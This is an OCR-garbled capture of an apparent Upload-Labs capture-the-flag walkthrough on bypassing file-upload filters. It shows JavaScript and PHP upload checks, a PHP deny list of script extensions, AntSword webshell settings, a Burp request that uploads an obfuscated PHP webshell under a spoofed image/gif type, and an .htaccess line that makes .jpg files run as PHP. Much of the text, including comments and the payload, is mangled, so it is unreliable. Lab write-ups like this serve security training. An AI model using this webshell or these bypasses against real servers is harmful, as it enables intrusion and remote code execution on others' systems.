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82 <script type="text/javascript">

83 function checkFile() {

84 var file = document.getElementsByName( 'upload file')[0].value;
85 if (file == null || file == "") {

86 alert ("VEMEIEE L BRI L") ;

87 return false;

88 }

89 /1 EX SVF LRI (4T
90 var allow ext = ".jpg|.png|.gif";
91 / /3B LA SRy B

92 var ext name = file.substring(file.lastIndexOf("."));

93 / 1 FIMf B XX RBUR B RVF LR

94 if (allow_ext.indexOf (ext name) == -1) {

95 var errMsg = "EZXHAATLE, BLE" + allow_ext + "HKEWXMH, HEIXXHERENRN: " + ext_name;
96 alert(errMsqg);

97 return false;

98 }

99 }

100 | </script>
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> function checkFile() {}
< undefined
>

No user me...

No errors

No warnings

No info
No verbose




« EERIN

Up|()ad—|_ab8'01




Upload-Labs-01

o AntSword &E¥x=

[ Rz
O 7N ; PN

B EitiikcE

URLItBE * http://1f90cbb4-5997-438b-bc4d-f64a60a95015.node2.buuoj.cn.wetolink.:

RS * glzjin|

s & E
w3 E

ERRE

* default (R#EFF)
random (R #7F)

base64
CIEKRER
of HithigE




Upload-Labs-02

« [FImE, FIBFSH mime

1 | $is_upload = false;

2 | $msg = null;

3 | if (isset($_POST['submit'])) {

4 if (file_exists(UPLOAD_PATH)) {

5 if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/
6 $temp_file = $_FILES['upload_file']['tmp_name'];

7 $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']["'name']
8 if (move_uploaded_file($temp_file, $img_path)) {

9 $is_upload = true;

10 } else {

11 $msg = ' LfEHE! ',

12 }

13 } else {

14 $msg = "XHEBIARIEM, BFEHLE! ',

15 }

16 } else {

17 $msg = UPLOAD_PATH. ' XH4HRAR=FE,I5FIEIE! ';

18 ¥

19
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o BurpSuite =%

Connection: close

WebKitFormBoundaryEUHOhOyzdRE85tIS

Content-Disposition: form-data; name="upload file"; filename="test.php"
Content-Type: image/gif

<?php

$rUIY=create function(base64 decode('JA==').chr(0250167/01355).base64 decode( 'bw==")
432) .base64 _decode( 'bA=="').chr(23880/597) .base64 decode('JA==").base64 decode('cw=='
(base64 decode('MTAxXN'.'TUzOO0'.'B1ldkF'.'sKCRf'.''.str rotl3('H').base64 decode( 'RQ==
_rotl3('a').base64 decode('Yg==').base64 decode('SA==").''.'pgaW5'.'dKTsz'. 'MDQ2N"."

WebKitFormBoundaryEUHohOyzdRE85tIS
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$is_upload = false;

$msg = null;

if (isset($_POST['submit'])) {

if (file_exists(UPLOAD_PATH)) {

$deny_ext = array(".php“,".php5",“.php4",".php3",".php2","phpl",".html",".htm",“.phtml",".pht“,".p*
$file_name = trim($_FILES['upload_file']["'name']);
$file_name = deldot($file_name);//MIbEX{E2FKEM S
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //#&iN/NE
$file_ext = str_ireplace('::$DATA', '', $file_ext);//ERFRFE: : $DATA
$file_ext = trim($file_ext); //IWEEZR

O oo ~NOGOUL D WN P
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if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = ' EfEHE! ',
}
} else {
$msg = "WXERRIFLE!;
}

} else {
$msg = UPLOAD_PATH . 'XXHRAREZFE,BFIEIE! ';

}
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¢« C  ® F%2 | 1f90cbb4a-5997-438b-bcad-f64a60a95015.node2.buuoj.cn.wetolink.com:82/Pass-04/index.p * ® 0 @ @

Not Found

The requested URL /Pass—04/index.p was not found on this server.

Apache/2.4.38 (Debian) Server at 1f90cbb4-5997-438b—-bc4d-f64a60a95015.node2.buuoj.cn.wetolink.com Port 80
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AddType application/x-httpd-php .jpg
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